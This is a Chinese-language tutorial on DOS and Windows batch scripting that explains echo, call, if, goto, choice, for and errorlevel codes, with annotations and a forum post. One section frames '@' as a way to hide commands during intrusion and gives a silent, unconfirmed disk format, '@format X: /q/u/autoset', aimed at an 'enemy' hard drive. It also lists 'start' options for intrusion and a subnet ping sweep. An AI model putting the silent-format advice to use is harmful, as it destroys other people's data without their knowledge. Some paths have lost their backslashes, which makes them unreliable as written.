echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off 相象,但它是加在每个命令行的最前面, 表示运行时不显示这一行的命令行(只
能影响当前行)。
call 调用另一个批处理文件(如果不用call 而直接调用别的批处理文件, 那么执行完那个批
处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue…的提示,等
待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于
程序中的注释)。
==== 注=====
此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理
ECHO
当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。
在运行批处理程序时, MS-DOS 一般在屏幕上显示(回显)批处理程序中的命令。
使用ECHO 命令可关闭此功能。
语法
ECHO [ON|OFF]
若要用echo 命令显示一条命令,可用下述语法:
echo [message]
参数
ON|OFF
指定是否允许命令的回显。若要显示当前的ECHO 的设置,可使用不带参数的ECHO
命令。
message
指定让MS-DOS 在屏幕上显示的正文。
CALL
从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。
语法
CALL [drive:][path]filename [batch-parameters]
参数
[drive:][path]filename
指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT 作扩展名。
batch-parameters
指定批处理程序所需的命令行信息。
PAUSE
暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处
理程序中使用该命令。
语法
PAUSE
REM
在批处理文件或CONFIG.SYS 中加入注解。也可用REM 命令来屏蔽命令(在CONFIG.SY
S
中也可以用分号; 代替REM 命令,但在批处理文件中则不能替代)。
语法
REM [string]
参数
string
指定要屏蔽的命令或要包含的注解。
例1:用edit 编辑a.bat 文件,输入下列内容后存盘为c:a.bat,执行该批处理文件后可实现:
将根目录中所有文件写入a.txt 中,启动UCDOS ,进入WPS 等功能。
批处理文件的内容为: 命令注释:
@echo off 不显示后续命令行及当前命令行
dir c:. >a.txt 将c 盘文件列表写入a.txt
call c:ucdosucdos.bat 调用ucdos
echo 你好显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
cd ucdos 进入ucdos 目录
wps 运行wps
批处理文件的参数
批处理文件还可以像C 语言的函数一样使用参数(相当于DOS 命令的命令行参数),这需
要用到一个参数表示符"%" 。
%[1-9] 表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的
字符串。变量可以从%0 到%9,%0 表示批处理命令本身,其它参数字符串用%1 到%9 顺序
表示。
例2: C: 根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1
如果执行C:>f a:
那么在执行f.bat 时,%1 就表示a:,这样format %1 就相当于format a:,于是上面的命令运
行时实际执行的是format a:
例3: C: 根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2
那么运行C:>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt 和b.txt 文件的内容。
==== 注===============
参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9 中的一个数
字构成参数引用符. 引用符和参数之间(例如上文中的%1 与a: ) 的关系类似于变量指针
与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参数起始指
针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似
C 语言中的指针操作. 图示如下:
初始状态, cmd 为命令名, 可以用%0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过1 次shift 后, cmd 将无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过2 次shift 后, arg1 也被废弃, %9 指向为空, 没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8
遗憾的是, win9x 和DOS 下均不支持shift 的逆操作. 只有在nt 内核命令行环境下, shift
才支持/n 参数, 可以以第一参数为基准返复移动起始指针.
特殊命令
if goto choice for 是批处理文件中比较高级的命令, 如果这几个你用得很熟练, 你就是批处
理文件的专家啦。
一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。有三种格
式:
1、if [not] " 参数" == “字符串” 待执行的命令
参数如果等于(not 表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一
句。
例: if “%1”==“a” format a:
if 的命令行帮助中关于此点的描述为:
IF [NOT] string1==string2 command
在此有以下几点需要注意:
- 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空" 字符
- string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量
- command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行
=============================
2、if [not] exist [路径]文件名待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如: if exist c:config.sys type c:config.sys
表示如果存在c:config.sys 文件,则显示它的内容。
****** 注********
也可以使用以下的用法:
if exist command
device 是指DOS 系统中已加载的设备, 在win98 下通常有:
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: …,
CLOCK, DblBuffHLP$
具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点: - 该设备确实存在(由软件虚拟的设备除外)
- 该设备驱动程序已加载(aux, prn 等标准设备由系统缺省定义)
- 该设备已准备好(主要是指a: b: …, com1…, lpt1… 等)
可通过命令mem/d | find “device” /i 来检阅你的系统中所加载的设备
另外, 在DOS 系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为
设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过
句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分
配可引用的句柄.
==================================
3、if errorlevel <数字> 待执行的命令
很多DOS 程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过i
f errorlevel 命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值
必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否
则运行下一句。
如if errorlevel 2 goto x2
==== 注===========
返回值从大到小的顺序排列不是必须的, 而只是执行命令为goto 时的习惯用法, 当使用s
et 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以
下的顺序形式:
if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
…
当然, 也可以使用以下循环来替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8…) do if errorlevel %%e set el=%%e
更高效简洁的用法, 可以参考我写的另一篇关于获取errorlevel 的文章
出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由
于goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于set 命令的"
重复" 赋值特性, 由大到小排序会导致较小的返回码"覆盖" 较大的返回码.
另外, 虽然if errorlevel=< 数字> command 也是有效的命令行, 但也只是command.com 解
释命令行时将= 作为命令行切分符而忽略掉罢了
===========================
二、goto 批处理文件运行到这里将跳到goto 所指定的标号(标号即label,标号用:后跟标准
字符串来定义)处, goto 语句一般与if 配合使用,根据不同的条件来执行不同的命令组。
如:
goto end
:end
echo this is the end
标号用": 字符串"来定义,标号所在行不被执行。
==== willsort 编注
label 常被译为"标签" , 但是这并不具有广泛的约定性.
goto 与: 联用可实现执行中途的跳转, 再结合if 可实现执行过程的条件分支, 多个if 即
可实现命令的分组, 类似C 中switch case 结构或者Basic 中的select case 结构, 大规
模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic 在语法结
构上的对照:
Batch C / Basic
goto&: goto&:
goto&:&if if{}&else{} / if&elseif&endif
goto&:&if… switch&case / select case
goto&:&if&set&envar… function() / function(),sub()
==================================
三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回
不同的errorlevel ,然后于if errorlevel 配合,根据用户的选择运行不同的命令。
注意: choice 命令为DOS 或者windows 系统提供的外部命令,不同版本的choice 命令语法
会稍有不同,请用choice /?查看用法。
choice 的命令语法(该语法为windows 2003 中choice 命令的语法,其它版本的choice 的命
令语法与此大同小异):
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/C choices 指定要创建的选项列表。默认列表是"YN" 。
/N 在提示符中隐藏选项列表。提示前面的消息得到显示,
选项依旧处于启用状态。
/CS 允许选择分大小写的选项。在默认情况下,这个工具
是不分大小写的。
/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从0
到9999。如果指定了0,就不会有暂停,默认选项
会得到选择。
/D choice 在nnnn 秒之后指定默认选项。字符必须在用/C 选
项指定的一组选择中; 同时,必须用/T 指定nnnn。
/M text 指定提示之前要显示的消息。如果没有指定,工具只
显示提示。
/? 显示帮助消息。
注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选
择返回1,第二个选择返回2,等等。如果用户按的键不是有效的选择,
该工具会发出警告响声。如果该工具检测到错误状态,它会返回255 的
ERRORLEVEL 值。如果用户按Ctrl+Break 或Ctrl+C 键,该工具会返回0
的ERRORLEVEL 值。在一个批程序中使用ERRORLEVEL 参数时,将参数降
序排列。
示例:
CHOICE /?
CHOICE /C YNC /M “确认请按Y,否请按N,或者取消请按C。”
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M “选项1 请选择a,选项2 请选择b。”
CHOICE /C ab /N /M " 选项1 请选择a,选项2 请选择b。"
==== willsort 编注===============================
我列出win98 下choice 的用法帮助, 已资区分
Waits for the user to choose one of a set of choices.
等待用户选择一组待选字符中的一个
CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]
/C[:]choices Specif IEs allowable keys. Default is YN
指定允许的按键(待选字符), 默认为YN
/N Do not display choices and ? at end of prompt string.
不显示提示字符串中的问号和待选字符
/S Treat choice keys as case sensitive.
处理待选字符时大小写敏感
/T[:]c,nn Default choice to c after nn seconds
在nn 秒后默认选择c
text Prompt string to display
要显示的提示字符串
ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值
如果我运行命令: CHOICE /C YNC /M “确认请按Y,否请按N,或者取消请按C。”
屏幕上会显示:
确认请按Y ,否请按N,或者取消请按C。[Y,N,C]?
例: test.bat 的内容如下(注意,用if errorlevel 判断返回值时,要按返回值从高到低排列) :
@echo off
choice /C dme /M “defrag,mem,end”
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if 语句根
据用户的选择作出判断, d 表示执行标号为defrag 的程序段, m 表示执行标号为mem 的程
序段, e 表示执行标号为end 的程序段, 每个程序段最后都以goto end 将程序跳到end 标号
处,然后程序将显示good bye,批处理运行结束。
四、for 循环命令,只要条件符合,它将多次执行同一命令。
语法:
对一组文件中的每一个文件执行某个特定命令。
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat 和txt 为扩展名的文件的内容。
==== willsort 编注=====================================================
需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这
个特性再加上() 中可以嵌入多个字符串的特性, 很明显for 可以被看作一种遍历型循环.
当然, 在nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命
令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能.
======================================================================
==
批处理示例 - IF-EXIST
- 首先用记事本在C:建立一个test1.bat 批处理文件,文件内容如下:
@echo off
IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT
IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist
然后运行它:
C:>TEST1.BAT
如果C:存在AUTOEXEC.BAT 文件,那么它的内容就会被显示出来,如果不存在,批处理
就会提示你该文件不存在。 - 接着再建立一个test2.bat 文件,内容如下:
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 does not exist
执行:
C:>TEST2 AUTOEXEC.BAT
该命令运行结果同上。
说明:
(1) IF EXIST 是用来测试文件是否存在的,格式为
IF EXIST [路径+文件名] 命令
(2) test2.bat 文件中的%1 是参数, DOS 允许传递9 个批参数信息给批处理文件,分别为%1
~%9(%0 表示test2 命令本身) ,这有点象编程中的实参和形参的关系, %1 是形参, AUTO
EXEC.BAT 是实参。
==== willsort 编注=====================================================
DOS 没有"允许传递9 个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命
令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10 个参数, 因为
DOS 只给出了%0~%9 这十个参数引用符.
======================================================================
== - 更进一步的,建立一个名为TEST3.BAT 的文件,内容如下:
@echo off
IF “%1” == “A” ECHO XIAO
IF “%2” == “B” ECHO TIAN
IF “%3” == “C” ECHO XIN
如果运行:
C:>TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN
如果运行:
C:>TEST3 A B
屏幕上会显示
XIAO
TIAN
在这个命令执行过程中, DOS 会将一个空字符串指定给参数%3。
2、IF-ERRORLEVEL
建立TEST4.BAT ,内容如下:
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:
IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件
然后执行文件:
C:>TEST4
如果文件拷贝成功,屏幕就会显示"成功拷贝文件",否则就会显示"文件拷贝失败"。
IF ERRORLEVEL 是用来测试它的上一个DOS 命令的返回值的, 注意只是上一个命令的返
回值,而且返回值必须依照从大到小次序顺序判断。
因此下面的批处理文件是错误的:
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c 中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件
用户通过ctrl-c 中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
以下就是几个常用命令的返回值及其代表的意义:
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c 中止备份
4 由于致命的错误使备份操作中止
diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c 中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c 结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
0 格式化成功
3 用户通过ctrl-c 中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示"proceed with format( y/n ) ?“下用户键入n 结束
xcopy
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c 中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误
chkdsk
0 未找到错误
255 找到一个或多个错误
choice
0 用户按下ctrl+c/break
1 用户按下第一个键
255 检测到命令行中的错误条件
其它用户按下的有效字符在列表中的位置
defrag
0 碎片压缩成功
1 出现内部错误
2 磁盘上没有空簇。要运行DEFRAG ,至少要有一个空簇
3 用户用Ctrl+C 退出了DEFRAG
4 出现一般性错误
5 DEFRAG 在读簇时遇到错误
6 DEFRAG 在写簇时遇到错误
7 分配空间有错
8 内存错
9 没有足够空间来压缩磁盘碎片
deltree
0 成功地删除一个目录
diskcomp
0 两盘相同
1 发现不同
2 按CTRL+C 终止了比较
3 出现严重错误
4 出现初始化错误
find
0 查找成功且至少找到了一个匹配的字符串
1 查找成功但没找到匹配的字符串
2 查找中出现了错误
keyb
0 键盘定义文件装入成功
1 使用了非法的键盘代码,字符集或语法
2 键盘定义文件坏或未找到
4 键盘、监视器通讯时出错
5 要求的字符集未准备好
move
0 成功地移动了指定的文件
1 发生了错误
msav /N
86 检查到了病毒
replace
0 REPLACE 成功地替换或加入了文件
1 MS-DOS 版本和REPLACE 不兼容
2 REPLACE 找不到源文件
3 REPLACE 找不到源路径或目标路径
5 不能存取要替换的文件
8 内存不够无法执行REPLACE
11 命令行句法错误
restore
0 RESTORE 成功地恢复了文件
1 RESTORE 找不到要恢复的文件
3 用户按CTRL+C 终止恢复过程
4 RESTORE 因错误而终止
scandisk
0 ScanDisk 在它检查的驱动器上未检测到任何错误
1 由于命令行的语法不对,不能运行ScanDisk
2 由于内存用尽或发生内部错误, ScanDisk 意外终止
3 用户让ScanDisk 中途退出
4 进行盘面扫描时,用户决定提前退出
254 ScanDisk 找到磁盘故障并已全部校正
255 ScanDisk 找到磁盘故障,但未能全部校正
setver
0 SETVER 成功地完成了任务
1 用户指定了一个无效的命令开关
2 用户指定了一个非法的文件名
3 没有足够的系统内存来运行命令
4 用户指定了一个非法的版本号格式
5 SETVER 在版本表中未找到指定的项
6 SETVER 未找到SETVER.EXE 文件
7 用户指定了一个非法的驱动器
8 用户指定了太多的命令行参数
9 SETVER 检测到丢失了命令行参数
10 在读SETVER.EXE 文件时, SETVER 检测到发生错误
11 SETVER.EXE 文件损坏
12 指定的SETVER.EXE 文件不支持版本表
13 版本表中没有足够的空间存放新的项
14 在写SETVER.EXE 文件时SETVER 检测到发生错误
======================================================================
==
3、IF STRING1 == STRING2
建立TEST5.BAT ,文件内容如下:
@echo off
IF “%1” == “A” FORMAT A:
执行:
C:>TEST5 A
屏幕上就出现是否将A: 盘格式化的内容。
注意: 为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用
保留符号)括起来。
如: if [%1][A] 或者if %1*A*
5、GOTO
建立TEST6.BAT ,文件内容如下:
@ECHO OFF
IF EXIST C:AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:AUTOEXEC.BAT D:
:_DONE
注意:
(1) 标号前是ASCII 字符的冒号":" ,冒号与标号之间不能有空格。
(2) 标号的命名规则与文件名的命名规则相同。
(3) DOS 支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。
==== willsort 编注=================================================
1)标号也称作标签(label)
2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多
3)当无法区别两个标签时, 将跳转至位置最靠前的标签
======================================================================
==
6、FOR
建立C:TEST7.BAT ,文件内容如下:
@ECHO OFF
FOR %%C IN (.BAT .TXT .SYS) DO TYPE %%C
运行:
C:>TEST7
执行以后,屏幕上会将C:盘根目录下所有以BAT 、TXT 、SYS 为扩展名的文件内容显示出
来(不包括隐藏文件)。
教你如何进行批处理文件编程
对于许多计算机编程初学者都有这样的体会:
好不容易学了个C 语言,发现要开发点实用一点的程序还要去看大部头的MSDN 什么的…
想起来就头痛,而且只学习C 语言,除了编几个hello world 或者什么排序算法,基本上没
什么实用价值…
今天在公司花了一个整下午时间(老板脸色要不好看了),把windows 批处理文件好好研
究了一下, 随手记下了批处理的心得, 发现批处理其实可以当作一门简单的语言来学习, 而
且通过几小时的学习可以马上就能编出非常实用的程序,可以大大鼓舞兄弟们的学习积极
性,可谓居家旅行,黑人电脑之必备良药。
关于批处理的命令的详细解释, 请大家参看下面的帮助文档, 我也是从中学习得到的。而且
将本贴和下面的文档结合起来看,再顺手编几个小程序,可以达到事半功倍的效果。
<windows 2000 命令参考>
批处理命令中最复杂的就是For 命令了,这里重点对它讲一下(其它的命令大家可以看wind
ows 帮助,因为个人觉帮助文档中对for 命令的解释含糊不清,都是我通过实验才猜出来怎
么用的)
开始了:
前面的话:批处理中的命令也可以直接在ms-dos 的界面下输入,不过要注意:如下面例1
中的一样,在MS-DOS 下面输入时,变量是一个’%’,如果写成.bat 文件,则要用两个’%’,
即’%%’
另: .bat 文件可以用文本编辑器直接打开进行编写。
For 命令(相关语法含义请参考windows 帮助文档):
Example 1:
for %f in (.txt) do type %f //命令行中使用
for %%f in (.txt) do type %%f// 批处理中使用
上面这个例子的意思是:在当前目录下,对目录下的每个.txt 文件都执行type .txt 命令
%f 为替换符,从代替每个从(.txt) 中取出的每个命令的元素,进行执行。
如当前目录下有a.txt,b.txt 两个txt 文件,则上面那条命令相当于:
type a.txt
type b.txt
Example 2:
for /L %f in (2,1,255) do ping 192.168.254.%f -n 1 //命令行
for /L %%f in (2,1,255) do ping 192.168.254.%%f -n 1//批处理文件
//注意"," 不要写错成全角或者其它的符号
意思是,以开始为2,每次循环加1,一直增加到255。%f 表示增加得到的数字,每增加一
次,执行一次ping 192.168.254.%f -n 1
上面这条语句等于依次执行下面的语句序列:
ping 192.168.254.2 -n 1
ping 192.168.254.3 -n 1
…
ping 192.168.254.254 -n 1
Example 3:
For + 筛选器命令+ 管道:
for /L %%f in (1,1,256) do ping 192.168.254.%%f -n 1 | find “Reply”
|表示管道,可以在帮助文档中找到,意思是前面命令在MS-DOS 下面的输出当成后面一个
命令的输入。比如说:
执行命令: ping 192.168.242.39 -n 1 | find “Reply”
C:\Documents and 朱文桌面>ping 192.168.242.39 -n 1
Pinging 192.168.242.39 with 32 bytes of data:
Reply from 192.168.242.39: bytes=32 time<10ms TTL=128
Ping statistics for 192.168.242.39:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
上面红色的部分就是| find “Reply” 的输入
上面的例子的意思是说循环ping 子网(192.168.254.) 中的地址, 过滤出有回应的地址。这个
例子我会做成.bat 文件粘在附件上。大家可以用这个.bat 文件查看子网中有哪些机器(当然,
要能回应ping 才行)
Example 4:
for /F “usebackq delims==” %i IN (set
) DO @echo %i// 命令行
for /F “usebackq delims==” %%i IN (set
) DO @echo %%i// 批处理
意思是:将set 命令的输出当成文件,对每行输出进行解析,输出每行字符中’='前面的部分
这个和前面的管道|有些相似。
Example 5:
for /F “usebackq eol=A” %%i IN (set
) DO @echo %%i// 批处理
忽略以A 开头的行, usebackq 表示set
是一条cmd 的命令,而’set’为字符串
注意,与上面的不同, 'set’为字符串,set
为命令
Example 6:
for /F “usebackq tokens=2,3* " %%i in (set
) do echo %%i * %%j * %%k ** !
令牌的意思是第几个字符串,上面的意思是说, %i,%j,%k 分别代表第2 个,第3 个,和最
后所有的字符串,字符串是由空格等区分的
个人觉得帮助文档在这里的翻译很烂, token 翻译成令牌让我感觉和网络里面的令牌环有点
混淆,而且也不知道是什么意思,还是我通过实验才猜出来的。这里的token 应该理解成被
空格隔开的字符串,如
I am Zhuwen, I 就是第一个token, am 是第二个token,zhuwen 是第三个token
Example 6:
Echo 命令:
echo off //关闭命令的回显,但本条命令会显示@echo off 关闭回显,且本条命令不显示
echo.
echo This batch program
echo formats and checks
echo new disks
echo.
大家可以再看看文档,里面还有if 等一些有用的关键字,但都比较简单,一看就能看懂,
所以这里也不多说了。
可能大家会问:批处理程序有什么用?
随便举几个例子吧:
1.最容易想到, 也是激发我学习批处理的原因: 想找出公司子网里面有哪些机器。用C 太复
杂了,人又懒,不想下代理猎手什么的,于是就想到了批处理,呵呵。
2.用批处理可以做一个类似windows 搜索的东东,找出想要的文件或者文件中的字符串—
多有成就啊: )
3.对那种在MS-DOS 下面有大量输出的软件,可以用批处理来筛选有用的信息
…
最后,也是最重要的一点:当MM 请教你什么什么的时候,如果这时,你能show 一把批处
理命令, 嘿嘿,MM 想不认为你是电脑高手都难了。总之, 批处理是非常实用的一门语言了:)
对了,忘了说了:如果版主觉得我的这篇文章好,能不能给点威望?俺想求书可以发现
一点威望也没有,多谢多谢了!
-------Zhuwen
下面附件带有一个我编的批处理样例,用处是找出所有192.168.0.* 子网内的PC,结果记录
在c:\1.txt 中
DOS 批处理脚本语言简介
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数, echo 命令将显示当
前回显设置。
语法
echo [{on off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结
合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令, 在入侵过程中(例如使用批处理来格式化敌人的硬盘) 自然
不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite…
@format X: /q/u/autoset (format 这个命令是不可以使用/y 这个参数的,可喜的是
微软留了个autoset 这个参数给我们,效果和/y 是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法: goto label ( label 是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}{} goto noparms
if {%2}{} goto noparms(如果这里的if 、%1、%2 你不明白的话,先跳过去,后面
会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字
母是标签, goto 命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别
人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C 语言中相当与/--------/, 它并不会被执行,只是起一个注释的作用
,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:. d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器A 中磁盘上的所有文件均复制到d:\back 中。显示的注释提示
您将另一张磁盘放入驱动器A 时, pause 命令会使程序挂起,以便您更换磁盘,然后按任
意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受
用作调用目标的标签。如果在脚本或批处理文件外使用Call ,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有.bat 或 .cmd 扩展
名。
7.start 命令
调用外部程序,所有的DOS 命令和命令行程序都可以由start 命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始16 位windows 程序
HIGH 在HIGH 优先级类别开始应用程序
REALTIME 在REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是32-位GUI 应用程序时, CMD.EXE 不等应用程序终止就返回命令
提
示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/
c:参数, c:后应写提示可输入的字符,之间无空格。它的返回码为1234 ⋯⋯
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat 的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if 语句将作
出判断, d 表示执行标号为defrag 的程序段, m 表示执行标号为mem 的程序段, e 表示执行
标
号为end 的程序段,每个程序段最后都以goto end 将程序跳到end 标号处,然后程序将显
示
good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:
1、if “参数” == " 字符串” 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个
等号)
如if “%1"“a” format a:
if {%1}{} goto noparms
if {%2}{} goto noparms
2、if exist 文件名待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS 程序运行时都会返回一个数字给DOS,称为错误码errorlevel 或称返回码, 常见的
返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用FOR 命令时,指定变量请使用%%variable
for {%variable %%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用FOR 命令时,指定变量请使用%%variable
而不要用%variable 。变量名称是区分大小写的,所以%i 不同于%I
如果命令扩展名被启用,下列额外的FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以[drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在/R 后没
有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此, (1,1,5) 将产生序列1 2 3 4 5, (5,-1,1) 将产生
序列(5 4 3 2 1)。
FOR /F [“options”] %variable IN (file-set) DO command
FOR /F [“options”] %variable IN (“string”) DO command
FOR /F [“options”] %variable IN (command) DO command
